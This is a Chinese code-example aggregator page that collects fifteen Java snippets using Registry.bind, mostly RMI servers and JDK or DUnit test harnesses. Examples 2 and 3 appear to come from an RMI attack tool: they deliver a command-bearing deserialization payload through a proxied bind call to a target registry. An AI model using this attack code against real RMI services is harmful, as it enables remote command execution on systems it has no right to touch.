本文整理汇总了Java中java.rmi.registry.Registry.bind方法的典型用法代码示例。如果您正苦于以下问题:Java Registry.bind方法的具体用法?Java Registry.bind怎么用?Java Registry.bind使用的例子?那么恭喜您, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在类java.rmi.registry.Registry
的用法示例。
在下文中一共展示了Registry.bind方法的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Java代码示例。
示例1: getInstance
import java.rmi.registry.Registry; //导入方法依赖的package包/类
public String getInstance(IStochModelFactory.OutputLevel outputLevel) {
String instanceID=null;
try {
nModels++;
instanceID= FactoryBindingID+"_IRmiIStochModel_"+nModels;
// Create a new model instance
IStochModelInstance newStochModel = stochModelFactory.getInstance(outputLevel);
// Create a new server instance and set the new model for this instance
Server obj = new Server();
obj.setModel(newStochModel);
IRmiIStochModel stub = (IRmiIStochModel) UnicastRemoteObject.exportObject(obj, 0);
// Register this insntance such that it will not be deleted.
allStochModels.add(stub);
// Bind the remote object's stub in the registry
Registry registry = LocateRegistry.getRegistry();
registry.bind(instanceID, stub);
System.err.println("Server has created model "+instanceID);
} catch (Exception e) {
System.err.println("Server exception when creating new model: " + e.toString());
e.printStackTrace();
}
return instanceID;
}
示例2: canAttackEndpoint
import java.rmi.registry.Registry; //导入方法依赖的package包/类
/*******************
* Check if the given endpoint can be attacked.
*
* This check is performed by executing a dummy attack against the
* endpoint and observing the resulting exception.
*
* @param ep An enumerated RMI endpoint.
* @return True if we can attack it.
******************/
public boolean canAttackEndpoint(RMIEndpoint ep) {
RMIBindExploitProxy proxy = null;
Registry reg;
//Execute a dummy attack
try {
//Start a bind exploit proxy
proxy = new RMIBindExploitProxy(InetAddress.getByName(ep.getEndpoint().getHost()), ep.getEndpoint().getPort(), this._options, this._dummyPayload);
proxy.startProxy();
//Get a proxied RMI registry reference
reg = LocateRegistry.getRegistry(proxy.getServerListenAddress().getHostAddress(), proxy.getServerListenPort());
//Bind a dummy object in an attempt to trigger the vulnerability
reg.bind(this.generateRandomString(), new BaRMIeBindExploit());
} catch(BaRMIeException | UnknownHostException | RemoteException | AlreadyBoundException ex) {
//An up to date RMI registry will, by default, reject the dummy object
if(ex instanceof ServerException && ex.getCause() != null && ex.getCause() instanceof UnmarshalException && ex.getCause().getCause() != null && ex.getCause().getCause() instanceof InvalidClassException) {
//Check for "filter status: REJECTED"
if(ex.getCause().getCause().toString().contains("filter status: REJECTED")) {
//Test payload was filtered, likely this attack isn't possible
return false;
}
}
} finally {
//Stop the proxy
if(proxy != null) {
proxy.stopProxy(true);
}
}
//In all other cases we should be able to attack the registry
return true;
}
示例3: executeAttack
import java.rmi.registry.Registry; //导入方法依赖的package包/类
/*******************
* Execute the deserialization attack against the given RMI endpoint using
* the given payload.
*
* @param ep The enumerated RMI endpoint.
* @param payload The deserialization payload to deliver.
* @param cmd The command to use for payload generation.
******************/
public void executeAttack(RMIEndpoint ep, DeserPayload payload, String cmd) throws BaRMIeException {
RMIBindExploitProxy proxy = null;
Registry reg;
//Launch the attack
try {
//Start a bind exploit proxy
System.out.println("[~] Starting RMI registry proxy...");
proxy = new RMIBindExploitProxy(InetAddress.getByName(ep.getEndpoint().getHost()), ep.getEndpoint().getPort(), this._options, payload.getBytes(cmd, 0));
proxy.startProxy();
System.out.println("[+] Proxy started");
//Get a proxied RMI registry reference
System.out.println("[~] Getting proxied RMI Registry reference...");
reg = LocateRegistry.getRegistry(proxy.getServerListenAddress().getHostAddress(), proxy.getServerListenPort());
//Bind a dummy object in an attempt to trigger the vulnerability
System.out.println("[~] Calling bind(PAYLOAD, null)...");
reg.bind(this.generateRandomString(), new BaRMIeBindExploit());
} catch(Exception ex) {
//Check the exception for useful info
this.checkDeserException(ex);
} finally {
//Stop the proxy
if(proxy != null) {
proxy.stopProxy(true);
}
}
}
示例4: main
import java.rmi.registry.Registry; //导入方法依赖的package包/类
public static void main(String[] args) throws Exception {
Registry impl = TestLibrary.createRegistryOnUnusedPort();
Registry stub = (Registry) RemoteObject.toStub(impl);
stub.bind("", stub);
stub.lookup("");
stub.rebind("", stub);
stub.lookup("");
stub.unbind("");
}
示例5: main
import java.rmi.registry.Registry; //导入方法依赖的package包/类
public static void main(String args[]) throws Exception {
try {
testPkg.Server obj = new testPkg.Server();
testPkg.Hello stub = (testPkg.Hello) UnicastRemoteObject.exportObject(obj, 0);
// Bind the remote object's stub in the registry
Registry registry =
LocateRegistry.getRegistry(TestLibrary.READTEST_REGISTRY_PORT);
registry.bind("Hello", stub);
System.err.println("Server ready");
// now, let's test client
testPkg.Client client =
new testPkg.Client(TestLibrary.READTEST_REGISTRY_PORT);
String testStubReturn = client.testStub();
if(!testStubReturn.equals(obj.hello)) {
throw new RuntimeException("Test Fails : unexpected string from stub call");
} else {
System.out.println("Test passed");
}
registry.unbind("Hello");
} catch (Exception e) {
System.err.println("Server exception: " + e.toString());
e.printStackTrace();
}
}
示例6: main
import java.rmi.registry.Registry; //导入方法依赖的package包/类
public static void main(String[] args) throws Exception {
Registry impl = TestLibrary.createRegistryOnEphemeralPort();
Registry stub = (Registry) RemoteObject.toStub(impl);
stub.bind("", stub);
stub.lookup("");
stub.rebind("", stub);
stub.lookup("");
stub.unbind("");
}
示例7: main
import java.rmi.registry.Registry; //导入方法依赖的package包/类
public static void main(String args[]) throws Exception {
Registry registry = null;
int exit = 0;
try {
int port = Integer.valueOf(args[0]);
testPkg.Server obj = new testPkg.Server();
testPkg.Hello stub =
(testPkg.Hello) UnicastRemoteObject.exportObject(obj, 0);
// Bind the remote object's stub in the registry
registry = LocateRegistry.getRegistry(port);
registry.bind("Hello", stub);
System.err.println("Server ready");
testPkg.Client client = new testPkg.Client(port);
String testStubReturn = client.testStub();
if(!testStubReturn.equals(obj.hello)) {
throw new RuntimeException("Test Fails : "
+ "unexpected string from stub call");
}
registry.unbind("Hello");
System.out.println("Test passed");
} catch (Exception ex) {
exit = EXIT_FAIL;
ex.printStackTrace();
}
// need to exit explicitly, and parent process uses exit value
// to tell if the test passed.
System.exit(exit);
}
示例8: Impl
import java.rmi.registry.Registry; //导入方法依赖的package包/类
Impl(int port, String serviceName, String[] acceptableTefServiceIds)
throws RemoteException, AlreadyBoundException {
synchronized (Impl.class) {
if (instance__ != null) {
throw new IllegalStateException();
} else {
instance__ = this;
}
}
Logs logs = new Logs(System.currentTimeMillis(), new File("."), "logs");
transactionCoordinationLogger_ = logs.createLogger("distributed-transactions");
tefServices_ = new HashMap<String, TefServiceProxy>();
for (String acceptableTefServiceId : acceptableTefServiceIds) {
tefServices_.put(acceptableTefServiceId, null);
}
tefServiceIndexes_ = new HashMap<String, Integer>();
for (int i = 0; i < acceptableTefServiceIds.length; i++) {
tefServiceIndexes_.put(acceptableTefServiceIds[i], new Integer(i));
}
try {
history_
= restoreTxHistory(transactionCoordinationLogger_.getFile().getParentFile());
} catch (IOException ioe) {
throw new RuntimeException(ioe);
}
System.out.println("restored: " + history_.size());
System.gc();
long memoryUsage
= Runtime.getRuntime().totalMemory() - Runtime.getRuntime().freeMemory();
System.out.println("memory: " + NumberFormat.getInstance().format(memoryUsage));
Registry registry = LocateRegistry.createRegistry(port);
registry.bind(serviceName, this);
}
示例9: main
import java.rmi.registry.Registry; //导入方法依赖的package包/类
public static void main(String args[]) {
if (args.length == 0){
System.out.print("No initial binding ID is specified we will use the default\n");
}
else if (args.length == 1){
FactoryBindingID=args[0];
}
else if (args.length == 3){
FactoryBindingID=args[0];
int offset = Integer.valueOf(args[1]).intValue();
int increment = Integer.valueOf(args[2]).intValue();
if (increment<1){
throw new RuntimeException("3rd argument (increment="+increment+") should be >0. Value is ");
}
if (offset<0){
throw new RuntimeException("2nd argument (offset="+offset+") should be >=0. Value is ");
}
if (offset>=increment){
throw new RuntimeException("2nd argument (offset="+offset+") should be <increment (="+increment+") (3rd argument)");
}
System.out.print("Initialized DistributedCounter offset = "+offset+"\n");
System.out.print("Initialized DistributedCounter increment = "+increment+"\n");
DistributedCounter.offset = offset;
DistributedCounter.increment = increment;
}
else {
System.out.print("OpenDA RMI server\n");
System.out.print("usage: java -Djava.rmi.server.codebase=file:///$OPENDADIR/ org.openda.models.rmiModel.Server [ID] [offset] [increment]\n");
System.out.print("ID initial binding ID for model factory\n");
System.out.print("offset number of this server in group of servers used\n");
System.out.print("increment total number of servers used\n");
System.exit(1);
}
System.out.print("we will use the binding ID :"+FactoryBindingID+"\n");
try {
allStochModels = new ArrayList();
Server obj = new Server();
IRmiIStochModel stub = (IRmiIStochModel) UnicastRemoteObject.exportObject(obj, 0);
// Bind the remote object's stub in the registry
Registry registry = LocateRegistry.getRegistry();
registry.bind(FactoryBindingID, stub);
System.err.println("Server ready");
} catch (Exception e) {
System.err.println("Server exception: " + e.toString());
e.printStackTrace();
}
}
示例10: launch
import java.rmi.registry.Registry; //导入方法依赖的package包/类
private static void launch() throws URISyntaxException, AlreadyBoundException, IOException, InterruptedException, NotBoundException {
// initialize the log writer that hydra uses
Log.createLogWriter("dunit-master", LOG_LEVEL);
DUNIT_SUSPECT_FILE = new File(SUSPECT_FILENAME);
DUNIT_SUSPECT_FILE.delete();
DUNIT_SUSPECT_FILE.deleteOnExit();
locatorPort = AvailablePortHelper.getRandomAvailableTCPPort();
//create an RMI registry and add an object to share our tests config
int namingPort = AvailablePortHelper.getRandomAvailableTCPPort();
Registry registry = LocateRegistry.createRegistry(namingPort);
final ProcessManager processManager = new ProcessManager(namingPort, registry);
Master master = new Master(registry, processManager);
registry.bind(MASTER_PARAM, master);
Runtime.getRuntime().addShutdownHook(new Thread() {
public void run() {
processManager.killVMs();
}
});
//Create a VM for the locator
processManager.launchVM(LOCATOR_VM_NUM);
//Launch an initial set of VMs
for(int i=0; i < NUM_VMS; i++) {
processManager.launchVM(i);
}
//wait for the VMS to start up
if(!processManager.waitForVMs(STARTUP_TIMEOUT)) {
throw new RuntimeException("VMs did not start up with 30 seconds");
}
//populate the Host class with our stubs. The tests use this host class
DUnitHost host = new DUnitHost(InetAddress.getLocalHost().getCanonicalHostName(), processManager);
host.init(registry, NUM_VMS);
init(master);
startLocator(registry);
}
示例11: launch
import java.rmi.registry.Registry; //导入方法依赖的package包/类
private static void launch() throws URISyntaxException, AlreadyBoundException, IOException,
InterruptedException, NotBoundException {
DUNIT_SUSPECT_FILE = new File(SUSPECT_FILENAME);
DUNIT_SUSPECT_FILE.delete();
DUNIT_SUSPECT_FILE.deleteOnExit();
// create an RMI registry and add an object to share our tests config
int namingPort = AvailablePortHelper.getRandomAvailableTCPPort();
Registry registry = LocateRegistry.createRegistry(namingPort);
System.setProperty(RMI_PORT_PARAM, "" + namingPort);
JUnit4DistributedTestCase.initializeBlackboard();
final ProcessManager processManager = new ProcessManager(namingPort, registry);
master = new Master(registry, processManager);
registry.bind(MASTER_PARAM, master);
// inhibit banners to make logs smaller
System.setProperty(InternalLocator.INHIBIT_DM_BANNER, "true");
// restrict membership ports to be outside of AvailablePort's range
System.setProperty(DistributionConfig.RESTRICT_MEMBERSHIP_PORT_RANGE, "true");
Runtime.getRuntime().addShutdownHook(new Thread() {
public void run() {
// System.out.println("shutting down DUnit JVMs");
// for (int i=0; i<NUM_VMS; i++) {
// try {
// processManager.getStub(i).shutDownVM();
// } catch (Exception e) {
// System.out.println("exception shutting down vm_"+i+": " + e);
// }
// }
// // TODO - hasLiveVMs always returns true
// System.out.print("waiting for JVMs to exit");
// long giveUp = System.currentTimeMillis() + 5000;
// while (giveUp > System.currentTimeMillis()) {
// if (!processManager.hasLiveVMs()) {
// return;
// }
// System.out.print(".");
// System.out.flush();
// try {
// Thread.sleep(1000);
// } catch (InterruptedException e) {
// break;
// }
// }
// System.out.println("\nkilling any remaining JVMs");
processManager.killVMs();
}
});
// Create a VM for the locator
processManager.launchVM(LOCATOR_VM_NUM);
// wait for the VM to start up
if (!processManager.waitForVMs(STARTUP_TIMEOUT)) {
throw new RuntimeException(STARTUP_TIMEOUT_MESSAGE);
}
locatorPort = startLocator(registry);
init(master);
// Launch an initial set of VMs
for (int i = 0; i < NUM_VMS; i++) {
processManager.launchVM(i);
}
// wait for the VMS to start up
if (!processManager.waitForVMs(STARTUP_TIMEOUT)) {
throw new RuntimeException(STARTUP_TIMEOUT_MESSAGE);
}
// populate the Host class with our stubs. The tests use this host class
DUnitHost host =
new DUnitHost(InetAddress.getLocalHost().getCanonicalHostName(), processManager);
host.init(registry, NUM_VMS);
}
示例12: main
import java.rmi.registry.Registry; //导入方法依赖的package包/类
public static void main(String[] args) throws Exception {
System.setProperty("java.rmi.activation.port",
Integer.toString(TestLibrary.RMIDVIAINHERITEDCHANNEL_ACTIVATION_PORT));
RMID rmid = null;
Callback obj = null;
try {
/*
* Export callback object and bind in registry.
*/
System.err.println("export callback object and bind in registry");
obj = new RmidViaInheritedChannel();
Callback proxy = (Callback)
UnicastRemoteObject.exportObject(obj, 0);
Registry registry =
LocateRegistry.createRegistry(
TestLibrary.RMIDVIAINHERITEDCHANNEL_REGISTRY_PORT);
registry.bind("Callback", proxy);
/*
* Start rmid.
*/
System.err.println("start rmid with inherited channel");
RMID.removeLog();
rmid = RMID.createRMID(System.out, System.err, true, false,
TestLibrary.RMIDVIAINHERITEDCHANNEL_ACTIVATION_PORT);
rmid.addOptions(new String[]{
"-Djava.nio.channels.spi.SelectorProvider=RmidViaInheritedChannel$RmidSelectorProvider"});
if (System.getProperty("os.name").startsWith("Windows") &&
System.getProperty("os.version").startsWith("5."))
{
/* Windows XP/2003 or older
* Need to expand ephemeral range to include RMI test ports
*/
rmid.addOptions(new String[]{
"-Djdk.net.ephemeralPortRange.low=1024",
"-Djdk.net.ephemeralPortRange.high=64000"
});
}
rmid.start();
/*
* Get activation system and wait to be notified via callback
* from rmid's selector provider.
*/
System.err.println("get activation system");
ActivationSystem system = ActivationGroup.getSystem();
System.err.println("ActivationSystem = " + system);
synchronized (lock) {
while (!notified) {
lock.wait();
}
}
System.err.println("TEST PASSED");
} finally {
if (obj != null) {
UnicastRemoteObject.unexportObject(obj, true);
}
ActivationLibrary.rmidCleanup(rmid);
}
}
示例13: main
import java.rmi.registry.Registry; //导入方法依赖的package包/类
public static void main(String[] args) throws Exception {
System.err.println("\nRegression test for bug 6261402\n");
System.setProperty("java.rmi.activation.port",
Integer.toString(TestLibrary.INHERITEDCHANNELNOTSERVERSOCKET_ACTIVATION_PORT));
RMID rmid = null;
Callback obj = null;
try {
/*
* Export callback object and bind in registry.
*/
System.err.println("export callback object and bind in registry");
obj = new CallbackImpl();
Callback proxy =
(Callback) UnicastRemoteObject.exportObject(obj, 0);
Registry registry =
LocateRegistry.createRegistry(
TestLibrary.INHERITEDCHANNELNOTSERVERSOCKET_REGISTRY_PORT);
registry.bind("Callback", proxy);
/*
* Start rmid.
*/
System.err.println("start rmid with inherited channel");
RMID.removeLog();
rmid = RMID.createRMID(System.out, System.err, true, true,
TestLibrary.INHERITEDCHANNELNOTSERVERSOCKET_ACTIVATION_PORT);
rmid.addOptions(new String[]{
"-Djava.nio.channels.spi.SelectorProvider=" +
"InheritedChannelNotServerSocket$SP"});
rmid.start();
/*
* Get activation system and wait to be notified via callback
* from rmid's selector provider.
*/
System.err.println("get activation system");
ActivationSystem system = ActivationGroup.getSystem();
System.err.println("ActivationSystem = " + system);
synchronized (lock) {
while (!notified) {
lock.wait();
}
}
System.err.println("TEST PASSED");
} finally {
if (obj != null) {
UnicastRemoteObject.unexportObject(obj, true);
}
ActivationLibrary.rmidCleanup(rmid);
}
}
示例14: main
import java.rmi.registry.Registry; //导入方法依赖的package包/类
public static void main(String[] args) throws Exception {
RemoteInterface server = null;
RemoteInterface proxy = null;
try {
System.err.println("export object");
server = new MultipleRegistries();
proxy =
(RemoteInterface) UnicastRemoteObject.exportObject(server, 0);
System.err.println("proxy = " + proxy);
System.err.println("export registries");
Registry registryImpl1 = TestLibrary.createRegistryOnUnusedPort();
int port1 = TestLibrary.getRegistryPort(registryImpl1);
Registry registryImpl2 = TestLibrary.createRegistryOnUnusedPort();
int port2 = TestLibrary.getRegistryPort(registryImpl2);
System.err.println("bind remote object in registries");
Registry registry1 = LocateRegistry.getRegistry(port1);
Registry registry2 = LocateRegistry.getRegistry(port2);
registry1.bind(NAME, proxy);
registry2.bind(NAME, proxy);
System.err.println("lookup remote object in registries");
RemoteInterface remote1 = (RemoteInterface) registry1.lookup(NAME);
RemoteInterface remote2 = (RemoteInterface) registry2.lookup(NAME);
System.err.println("invoke methods on remote objects");
remote1.passObject(remote1);
remote2.passObject(remote2);
System.err.println("TEST PASSED");
} finally {
if (proxy != null) {
UnicastRemoteObject.unexportObject(server, true);
}
}
}
示例15: main
import java.rmi.registry.Registry; //导入方法依赖的package包/类
public static void main(String[] args) throws Exception {
System.err.println("\nRegression test for bug 6261402\n");
System.setProperty("java.rmi.activation.port",
Integer.toString(TestLibrary.INHERITEDCHANNELNOTSERVERSOCKET_ACTIVATION_PORT));
RMID rmid = null;
Callback obj = null;
try {
/*
* Export callback object and bind in registry.
*/
System.err.println("export callback object and bind in registry");
obj = new CallbackImpl();
Callback proxy =
(Callback) UnicastRemoteObject.exportObject(obj, 0);
Registry registry = TestLibrary.createRegistryOnEphemeralPort();
int registryPort = TestLibrary.getRegistryPort(registry);
registry.bind("Callback", proxy);
/*
* Start rmid.
*/
System.err.println("start rmid with inherited channel");
RMID.removeLog();
rmid = RMID.createRMID(System.out, System.err, true, true,
TestLibrary.INHERITEDCHANNELNOTSERVERSOCKET_ACTIVATION_PORT);
rmid.addOptions(
"--add-exports=java.base/sun.nio.ch=ALL-UNNAMED",
"-Djava.nio.channels.spi.SelectorProvider=InheritedChannelNotServerSocket$SP",
"-Dtest.java.rmi.rmidViaInheritedChannel.registry.port=" + registryPort);
rmid.start();
/*
* Get activation system and wait to be notified via callback
* from rmid's selector provider.
*/
System.err.println("get activation system");
ActivationSystem system = ActivationGroup.getSystem();
System.err.println("ActivationSystem = " + system);
synchronized (lock) {
while (!notified) {
lock.wait();
}
}
System.err.println("TEST PASSED");
} finally {
if (obj != null) {
UnicastRemoteObject.unexportObject(obj, true);
}
if (rmid != null) {
rmid.cleanup();
}
}
}